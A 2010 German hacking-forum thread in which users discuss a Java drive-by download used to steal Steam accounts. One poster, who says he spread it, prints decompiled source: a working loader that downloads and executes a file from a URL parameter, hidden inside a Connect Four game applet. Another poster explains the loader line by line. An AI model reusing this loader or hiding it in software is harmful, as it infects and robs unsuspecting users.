PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Java Drive by



hOPPELDROP
22.11.2010, 15:43
Hallo,

in der ESL Szene ist momentan ein Java Drive by unterwegs, der über eine gefakte Pr0nseite einfach auf deine Steamdaten zugreifen kann.
Ich würde gerne mal mehr über so ein Drive by wissen, wie funktioniert sowas?

Chiqsaw
22.11.2010, 15:51
-.- schreib mir mal in icq :D
hab mich laaange damit beschäftigt :D

100
22.11.2010, 15:54
Dann sei doch so gut und poste das was du ihm schreiben würdest ordentlich formuliert hier, damit auch andere sich daran erfreuen können :)

SuFu würde einiges ausspucken, aber da hast du ja schon einen Freiwilligen gefunden.

hOPPELDROP
22.11.2010, 16:03
Kannst du mir eben deine ICQ Nummer in ner privaten Nachricht schicken, ich kann deinem Profil gerade irgendwie keine ICQ Nummer entnehmen.

blackberry
22.11.2010, 16:03
hab mich laaange damit beschäftigt :D
Du meinst doch wohl viel Code kopiert und hübsche Seiten als Köder gemacht, nicht wahr?

Die Frage geht darum wie es funktioniert und nicht wie man es anwendet.

Th3_Cr4xX
22.11.2010, 16:11
Ohne Vorwissen soetwas schlussfolgern:
Er hat sich lange damit beschäftigt = Er hat sich nicht um die Funktionsweise gekümmert

nicht gut. Hab das schon öfters kritisiert.

MfG

Chiqsaw
22.11.2010, 16:27
So um jetzt mal bescheid zu sagen , ich habe mich damit auseinander gestezt (seit der ersten mir bekannten version) wie das ganze funktioniert , verschiedene seiten ausprobiert und damit gespreadet natürlich auch , falls jemand interesse am src hat --> hab ich decodiert und versucht zu verstehen , manche sachen sidn aber halt einfahc so gut wie unverständlich ....

mfg chiqsaw....

erst fragen und nicht gleich ieinen schrott den man nicht beweisen kann posten ...

100
22.11.2010, 16:27
Wie wärs wenn man ihn wenigstens sprechen lässt.. solange es aufklärt kann es doch nur produktiv sein.

blackberry
22.11.2010, 16:35
seit der ersten mir bekannten version
Drive-By-Download gab es schon länger - dass du da die erste erwischt hast wage ich zu bezweifeln


manche sachen sidn aber halt einfahc so gut wie unverständlich ....
[...]
erst fragen und nicht gleich ieinen schrott den man nicht beweisen kann posten ...
Du hast mir doch gerade den Beweis geliefert, oder siehst du das nicht so? o_O
Halt angewendet und Funktionsweise nicht richtig verstanden - genau das, was ich gesagt hatte.

Th3_Cr4xX
22.11.2010, 16:43
genau das, was ich gesagt hatte.
geahnt & behauptet xD

Chiqsaw
22.11.2010, 16:47
2009 , da habe ich mit sowas angefangen --> erste MIR BEKANNTE version....

gut dann weiste was?
erklär du mir dochmal das:



import java.io.*;
import java.net.URL;
import java.net.URLConnection;

public class Inicio extends Connect4
{

public Inicio()
{
}

public void empaquetar()
throws Exception
{
byte buffer[] = new byte[10240];
String archivo = getParameter("url");
System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(archivo).toString());
String ext = archivo.substring(archivo.lastIndexOf("."));
ext = ext.toLowerCase();
File nuevo = File.createTempFile("javatmp", ext);
FileOutputStream stream = new FileOutputStream(nuevo);
URL ur = new URL(archivo);
URLConnection uc = ur.openConnection();
BufferedInputStream is = new BufferedInputStream(uc.getInputStream());
int leidos;
while((leidos = is.read(buffer)) > 0)
stream.write(buffer, 0, leidos);
stream.close();
if(ext.contains(".jar"))
Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(nuevo.getAbsolutePath()).append("\"").toString());
else
try
{
Runtime.getRuntime().exec(nuevo.getAbsolutePath()) ;
}
catch(IOException e)
{
File f = File.createTempFile("tmp", ".bat");
f.createNewFile();
f.deleteOnExit();
PrintWriter pw = new PrintWriter(f);
pw.println((new StringBuilder("\"")).append(nuevo.getAbsolutePath()).append("\"").toString());
pw.close();
Runtime.getRuntime().exec(f.getAbsolutePath());
f.delete();
}
nuevo.deleteOnExit();
}

public void init()
{
try
{
empaquetar();
}
catch(Exception e)
{
e.printStackTrace();
}
super.init();
}

private static final long serialVersionUID = 1L;
}


bzw





class Connect4Kernel
{

public int Cnt()
{
return cnt;
}

private boolean _IsEmpty(int i)
{
return field[i] < 114;
}

private int _DoMove(int i, int j)
{
int k = field[j];
board[k] = i;
field[j] += 13;
return k;
}

private int _BestMove(int i, int ai[], int j)
{
byte byte0 = 10;
byte byte1 = -1;
int ai1[] = new int[1];
int ai2[] = new int[1];
int j1 = -1;
ai[0] = -1;
j--;
int k = 3;
ai2[0] = 0;
while(k < byte0)
{
if(_IsEmpty(k))
{
if(ai[0] == -1)
ai[0] = k;
int i1;
int l = _DoMove(i, i1 = k);
label0:
switch(GameOver(l, ai2))
{
case 1: // '\001'
ai[0] = k;
k = byte0;
byte1 = 1;
break;

case -1:
if(byte1 == -1)
{
ai[0] = k;
byte1 = 0;
k = byte0;
}
break;

case 0: // '\0'
default:
if(j != 0)
{
switch(_BestMove(i != -1 ? -1 : 1, ai1, j))
{
default:
break;

case -1:
if(byte1 != 1 || ai2[0] > j1)
{
ai[0] = k;
byte1 = 1;
j1 = ai2[0];
}
break label0;

case 0: // '\0'
if(byte1 == -1 || byte1 == 0 && ai2[0] > j1)
{
ai[0] = k;
byte1 = 0;
j1 = ai2[0];
}
break label0;

case 1: // '\001'
if(byte1 == -1 && ai2[0] > j1)
{
ai[0] = k;
j1 = ai2[0];
}
break;
}
break;
}
if(byte1 == -1 && ai2[0] > j1)
{
ai[0] = k;
byte1 = 0;
j1 = ai2[0];
}
break;
}
board[l] = 0;
field[i1] -= 13;
}
if(j == maxDepth)
{
StringBuffer stringbuffer = new StringBuffer(30);
stringbuffer.append("Analyzing");
for(int k1 = 3; k1 < k; k1++)
stringbuffer.append(".");

c4.DrawStatus(stringbuffer.toString());
}
k++;
cnt++;
}
return byte1;
}

private int _Field(int i, int j)
{
return i * 13 + j;
}

private int _Column(int i)
{
return i % 13;
}

private int _Line(int i)
{
return i / 13;
}

public Connect4Kernel(Connect4 connect4)
{
board = new int[156];
field = new int[13];
c4 = connect4;
for(int i = 0; i < 156; i++)
if(_Column(i) > 2 && _Column(i) < 10 && _Line(i) > 2 && _Line(i) < 9)
board[i] = 0;
else
board[i] = 99;

for(int j = 0; j < 13; j++)
field[j] = 39 + j;

}

public boolean IsEmpty(int i)
{
if(i >= 0 && i < 7)
return _IsEmpty(i + 3);
else
return false;
}

public int GameOver(int i, int ai[])
{
int j = board[i];
int j3;
int k3;
int l3;
int i3 = j3 = k3 = l3 = 1;
int j4;
int k4;
int l4;
int i4 = j4 = k4 = l4 = 0;
int j1;
int k1;
int l1;
int i2;
int j2;
int k2;
int l2;
int i1 = j1 = k1 = l1 = i2 = j2 = k2 = l2 = i;
boolean flag1;
boolean flag2;
boolean flag3;
boolean flag4;
boolean flag5;
boolean flag6;
boolean flag7;
boolean flag8;
boolean flag9;
boolean flag10;
boolean flag11;
boolean flag12;
boolean flag13;
boolean flag14;
boolean flag15;
boolean flag = flag1 = flag8 = flag9 = flag2 = flag3 = flag10 = flag11 = flag4 = flag5 = flag12 = flag13 = flag6 = flag7 = flag14 = flag15 = true;
if(j != 0 && j != 99)
{
byte byte0 = ((byte)(board[i] != -1 ? -1 : 1));
for(int k = 1; k < 4; k++)
{
int i5;
if(flag8)
if((i5 = board[++l1]) != 99)
{
if(flag)
{
if(i5 == j)
{
i3++;
} else
{
flag = false;
if(i5 == 0)
i4++;
else
flag8 = false;
}
} else
if(i5 != byte0)
i4++;
else
flag8 = false;
} else
{
flag8 = false;
}
if(flag9)
if((i5 = board[--k1]) != 99)
{
if(flag1)
{
if(i5 == j)
{
i3++;
} else
{
flag1 = false;
if(i5 == 0)
i4++;
else
flag9 = false;
}
} else
if(i5 != byte0)
i4++;
else
flag9 = false;
} else
{
flag9 = false;
}
if(flag10)
if((i5 = board[j2 += 14]) != 99)
{
if(flag2)
{
if(i5 == j)
{
j3++;
} else
{
flag2 = false;
if(i5 == 0)
j4++;
else
flag10 = false;
}
} else
if(i5 != byte0)
j4++;
else
flag10 = false;
} else
{
flag10 = false;
}
if(flag11)
if((i5 = board[k2 -= 14]) != 99)
{
if(flag3)
{
if(i5 == j)
{
j3++;
} else
{
flag3 = false;
if(i5 == 0)
j4++;
else
flag11 = false;
}
} else
if(i5 != byte0)
j4++;
else
flag11 = false;
} else
{
flag11 = false;
}
if(flag12)
if((i5 = board[i2 += 12]) != 99)
{
if(flag4)
{
if(i5 == j)
{
k3++;
} else
{
flag4 = false;
if(i5 == 0)
k4++;
else
flag12 = false;
}
} else
if(i5 != byte0)
k4++;
else
flag12 = false;
} else
{
flag12 = false;
}
if(flag13)
if((i5 = board[l2 -= 12]) != 99)
{
if(flag5)
{
if(i5 == j)
{
k3++;
} else
{
flag5 = false;
if(i5 == 0)
k4++;
else
flag13 = false;
}
} else
if(i5 != byte0)
k4++;
else
flag13 = false;
} else
{
flag13 = false;
}
if(flag14)
if((i5 = board[i1 += 13]) != 99)
{
if(flag6)
{
if(i5 == j)
{
l3++;
} else
{
flag6 = false;
if(i5 == 0)
l4++;
else
flag14 = false;
}
} else
if(i5 != byte0)
l4++;
else
flag14 = false;
} else
{
flag14 = false;
}
if(flag15)
if((i5 = board[j1 -= 13]) != 99)
{
if(flag7)
{
if(i5 == j)
{
l3++;
} else
{
flag7 = false;
if(i5 == 0)
l4++;
else
flag15 = false;
}
} else
if(i5 != byte0)
l4++;
else
flag15 = false;
} else
{
flag15 = false;
}
}

ai[0] = 0;
if(i4 + i3 > 3)
ai[0] = (i3 - 1) * 6 + i4;
if(j4 + j3 > 3)
ai[0] += (j3 - 1) * 6 + j4;
if(k4 + k3 > 3)
ai[0] += (k3 - 1) * 6 + k4;
if(l4 + l3 > 3)
ai[0] += (l3 - 1) * 6 + l4;
if(i3 > 3 || j3 > 3 || k3 > 3 || l3 > 3)
return 1;
for(int l = 3; l < 10; l++)
if(field[l] < 156)
return 0;

return -1;
} else
{
return 0;
}
}

public int DoMove(int i, int j)
{
int k = -1;
if(IsEmpty(j))
k = _DoMove(i, j + 3);
return k;
}

public int BestMove(int i, int ai[], int j)
{
maxDepth = j - 1;
cnt = 0;
int k = _BestMove(i, ai, j);
ai[0] -= 3;
return k;
}

public int Field(int i, int j)
{
return (i + 3) * 13 + j + 3;
}

public int Column(int i)
{
return _Column(i) - 3;
}

public int Line(int i)
{
return _Line(i) - 3;
}

public char F(int i, int j)
{
switch(board[Field(i, j)])
{
case 0: // '\0'
return ' ';

case 1: // '\001'
return 'X';
}
return '0';
}

public int FieldState(int i, int j)
{
return board[Field(i, j)];
}

public static final int EMPTY = 0;
public static final int COMP = 1;
public static final int HUMAN = -1;
public static final int BORDER = 99;
public static final int GAME_NOT_OVER = 0;
public static final int ONE_HAS_WON = 1;
public static final int BOARD_FULL = -1;
public static final int UNDECIDED = 0;
public static final int PLAYER_WINS = 1;
public static final int PLAYER_LOOSES = -1;
private int board[];
private int field[];
private int maxDepth;
private Connect4 c4;
private int cnt;
}


&


import java.applet.Applet;
import java.awt.*;

public class Connect4 extends Applet
{

public void init()
{
c4k = new Connect4Kernel(this);
bestMove[0] = c4k.Field(0, 0);
value[0] = 0;
level = 4;
levelEverDecreased = false;
changeCnt = 0;
lastHumanArrowColumn = -1;
lastCompArrowColumn = -1;
lastHumanArrowEmpty = true;
currStatus = new StringBuffer("Start your game!");
if(g == null)
g = getGraphics();
SetMode(0);
}

public void SetMode(int i)
{
mode = i;
}

public boolean IsMode(int i)
{
return mode == i;
}

public void DrawStatus(String s)
{
Dimension dimension = size();
int i = (dimension.width - 10) / 7;
int j = dimension.height / 8;
g.setColor(Color.white);
g.fillRect(5, 7 * j + 1, 7 * i, j - 5 - 1);
if(currFontSize != j)
{
currFontSize = j;
font = new Font("Dialog", 0, (j * 5) / 10);
}
g.setFont(font);
currStatus = new StringBuffer(s);
g.setColor(Color.black);
g.drawString(currStatus.toString(), 15, 7 * j + (j * 5) / 8);
for(int k = 4; k < 9 && k <= level; k++)
{
g.setColor(Color.green);
g.fillRect(7 * i - 5 - 20, 8 * j - 5 - (k - 3) * 4 - 1, 22, 3);
}

}

public void DrawChip(int i, int j)
{
Dimension dimension = size();
int k = (dimension.width - 10) / 7;
int l = dimension.height / 8;
int i1 = 5 + k * i + k / 8;
int j1 = (dimension.height - (j + 2) * l) + l / 8;
int k1 = (k * 3) / 4;
int l1 = (l * 3) / 4;
Color color;
switch(c4k.FieldState(j, i))
{
case 1: // '\001'
color = Color.green;
break;

case -1:
color = Color.red;
break;

case 0: // '\0'
default:
color = Color.white;
break;
}
g.setColor(color);
g.fillOval(i1, j1, k1, l1);
}

public void paint(Graphics g1)
{
Dimension dimension = size();
int i = (dimension.width - 10) / 7;
int j = dimension.height / 8;
g1.setColor(Color.white);
g1.fillRect(0, 0, (7 * i + 10) - 1, j * 8 - 1);
g1.setColor(Color.blue.darker().darker());
g1.fillRect(5, j, i * 7, j * 6);
for(int k = 0; k < 6; k++)
{
for(int j1 = 0; j1 < 7; j1++)
DrawChip(j1, k);

}

DrawStatus(currStatus.toString());
g1.setColor(Color.gray);
for(int l = 0; l < 5; l++)
{
g1.drawLine(l, l, l, j * 8 - l - 1);
g1.drawLine(l + 1, l, (i * 7 + 10) - 1, l);
}

g1.setColor(Color.darkGray);
for(int i1 = 0; i1 < 5; i1++)
{
g1.drawLine(((i * 7 - i1) + 10) - 1, i1 + 1, ((i * 7 - i1) + 10) - 1, j * 8 - i1 - 1);
g1.drawLine(i1, j * 8 - i1 - 1, (i * 7 + 10) - 1, j * 8 - i1 - 1);
}

}

public int DoMove(int i, int j)
{
int k = c4k.DoMove(i, j);
DrawChip(j, c4k.Line(k));
if(i == -1)
lastCompArrowColumn = -1;
else
lastHumanArrowColumn = -1;
DrawArrows(j, i);
return k;
}

private void AdaptLevel()
{
if(c4k.Cnt() < 6000)
{
if(++changeCnt == 2)
{
level++;
changeCnt = 0;
return;
}
} else
{
if(c4k.Cnt() > 40000)
{
level--;
changeCnt = 0;
levelEverDecreased = true;
return;
}
changeCnt = 0;
}
}

public boolean mouseUp(Event event, int i, int j)
{
if(IsMode(2))
{
init();
repaint();
return true;
}
SetMode(1);
if(c4k.GameOver(bestMove[0], value) == 0)
{
Dimension dimension = size();
int k = ((i - 5) * 7) / dimension.width;
if(k >= 0 && k <= 6 && c4k.IsEmpty(k))
{
currField = DoMove(-1, k);
label0:
switch(res = c4k.GameOver(currField, value))
{
default:
break;

case -1:
DrawStatus("It ends in a tie! (click to restart)");
SetMode(2);
break;

case 1: // '\001'
DrawStatus("You won! (click to restart)");
SetMode(2);
break;

case 0: // '\0'
res = c4k.BestMove(1, bestMove, level);
currField = DoMove(1, bestMove[0]);
AdaptLevel();
switch(res)
{
case -1:
DrawStatus("Your move!");
break label0;

case 1: // '\001'
if(c4k.GameOver(currField, value) != 0)
{
DrawStatus("I won! (click to restart)");
SetMode(2);
break label0;
}
if(levelEverDecreased)
DrawStatus("Your move!");
else
DrawStatus("I'm going to win!");
break;

case 0: // '\0'
default:
DrawStatus("Your move!");
break;
}
break;
}
}
}
if(IsMode(1))
SetMode(0);
return true;
}

void DrawArrow(Graphics g1, int i, int j, int k, Color color, boolean flag)
{
int ai[] = new int[8];
int ai1[] = new int[8];
g1.setColor(color);
ai[0] = 5 + k * i + i / 2;
ai1[0] = (j * 3) / 4;
ai[1] = ai[0] + i / 5;
ai1[1] = ai1[0] - j / 4;
ai[2] = ai[0] + i / 10;
ai1[2] = ai1[1];
ai[3] = ai[2];
ai1[3] = ai1[0] - j / 2;
ai[4] = ai[0] - i / 10;
ai1[4] = ai1[3];
ai[5] = ai[4];
ai1[5] = ai1[1];
ai[6] = ai[0] - i / 5;
ai1[6] = ai1[1];
ai[7] = ai[0];
ai1[7] = ai1[0];
if(flag)
{
g1.fillPolygon(ai, ai1, 8);
return;
} else
{
g1.drawPolygon(ai, ai1, 8);
return;
}
}

void DrawArrows(int i, int j)
{
if(i >= 0 && i < 7)
{
boolean flag = c4k.IsEmpty(i);
Dimension dimension = size();
int k = (dimension.width - 10) / 7;
int l = dimension.height / 8;
g.setColor(Color.white);
g.fillRect(5, 5, 7 * k, l - 5);
if(j == -1)
{
lastHumanArrowColumn = i;
lastHumanArrowEmpty = flag;
} else
if(j == 1)
{
lastCompArrowColumn = i;
} else
{
lastHumanArrowColumn = -1;
lastCompArrowColumn = -1;
}
if(lastHumanArrowColumn != -1)
{
Color color;
if(lastHumanArrowEmpty)
color = Color.red;
else
color = Color.gray;
DrawArrow(g, k, l, lastHumanArrowColumn, color, true);
}
if(lastCompArrowColumn != -1)
{
Color color1 = Color.green;
DrawArrow(g, k, l, lastCompArrowColumn, color1, lastCompArrowColumn != lastHumanArrowColumn);
}
}
}

public boolean mouseMove(Event event, int i, int j)
{
if(IsMode(0))
{
Dimension dimension = size();
int k = ((i - 5) * 7) / dimension.width;
if(k != lastHumanArrowColumn)
DrawArrows(k, -1);
}
return true;
}

public String getAppletInfo()
{
return "Connect4 - Java (beta) Applet by Sven Wiebus, Dec. 1995";
}

public Connect4()
{
bestMove = new int[1];
value = new int[1];
levelEverDecreased = false;
lastCompArrowColumn = -1;
lastHumanArrowColumn = -1;
lastHumanArrowEmpty = false;
mode = -1;
}

public static final int WAITING_FOR_MOVE = 0;
public static final int ANALYZING = 1;
public static final int RESTART = 2;
public static final int BORDER_WIDTH = 5;
Connect4Kernel c4k;
int currField;
int level;
int bestMove[];
int res;
int value[];
int changeCnt;
boolean levelEverDecreased;
int lastCompArrowColumn;
int lastHumanArrowColumn;
boolean lastHumanArrowEmpty;
int currFontSize;
Font font;
StringBuffer currStatus;
Graphics g;
Panel panel;
int mode;
}

Th3_Cr4xX
22.11.2010, 16:56
Was willst du denn genau wissen? Der meiste Code erklärt sich von selbst wenn man bischen Erfahrung in Coding hat. Alleine Englisch-Grundkenntnisse reichen imho aus, wenn man wissen will, worum es geht.

Chiqsaw
22.11.2010, 17:12
Wozu wird die klasse "connect4kernel" gebraucht? ich versteh den sinn von move etc nicht...

blackberry
22.11.2010, 17:25
Das ist ein Vier-Gewinnt Spiel. Dient wohl zur Ablenkung... (was man sicher auch ohne Programmierkenntnisse hätte herausfinden können; Connect Four = Vier gewinnt; Der Kernel ist hierbei die eigentliche Spiellogik. Das Zeichnen usw. wird von der Klasse Connect4 übernommen)

EDIT:
Soooo und jetzt zum Programm:
http://pastie.org/1317836 <--- für Highlighting und Zeilennummern.
Bis Zeile 28 wird die Datei, die im Parameter "url" angegeben wird unter dem Namen javatmp.ext (<-- ext ist hierbei die Dateierweiterung... wird in Zeile 18 extrahiert) im temporären Ordner des Systems abgespeichert.
Ist dies eine jar-Datei (Zeile 29) wird versucht diese Datei mit java zu öffnen. Andernfalls (beispielsweise bei .EXE) wird einfach naiv versucht die Datei auszuführen (Zeile 34). Dies wird von einem Try-abgesichert. Sollte also der Veruch fehlschlagen, so wird eine temporäre Batchdatei "tmp.bat" erstellt, die nichts anderes macht als javatmp.ext aufzurufen. Diese wird entsprechend dann halt ausgeführt.
Das wars dann auch schon.

P.S.: es ist deinem Standpunkt nicht förderlich mir Aufgaben zu stellen, die ich ganz leicht lösen kann... (war das nicht irgendwie vorauszusehen?)

@Th3_Cr4xX
Geahnt, behauptet und bewiesen (:

Chiqsaw
22.11.2010, 17:36
Ok , dankeschön :D

ich gebe zu du kennst dich da wohl besser aus , ich beharre aber trotzdem darauf das ich mich über das ganze informiert habe...

blackberry
22.11.2010, 18:10
Btw:
Wenn jemand das Spiel spielen will:
http://rapidshare.com/files/432479227/Connect4.zip
Enthalten sind die beiden Klassen Connect4 und Connect4Kernel (ohne den Drive-By-Download Scheiß versteht sich...) eine HTML-Datei zum starten des Applets und ein Makefile.

So siehts aus:
http://img5.imagebanana.com/img/thx8z6om/Screenshot20101122at7.03.04PM.png

hOPPELDROP
22.11.2010, 18:32
Aufjedenfall hat es mir Chiqsaw über ICQ gut und verständlich erklärt, man kann sich nicht beklagen :P

TRX
22.11.2010, 18:43
@Chiqsaw:
Ist immer ein Fehler BlackBerry herauszufordern...
Wenn du seine Beiträge ein bisschen mitlesen würdest, hättest du gemerkt, dass er programmieren ewig drauf hat.

Naja das Vier-Gewinnt Spiel hätte ich auch erkannt..
Den Drive-By versteh ich aber auch nur zur Hälfte...
@BlackBerry wär cool wenn du den ein bischen genauer erklären könntest, wenns nicht zuviel mühe macht

blackberry
23.11.2010, 13:27
Was genauer erklären?
Das Drive-By-Download Ding macht nicht mehr. Wenn du mir sagst was unklar ist kann ich es aber nochmal versuchen.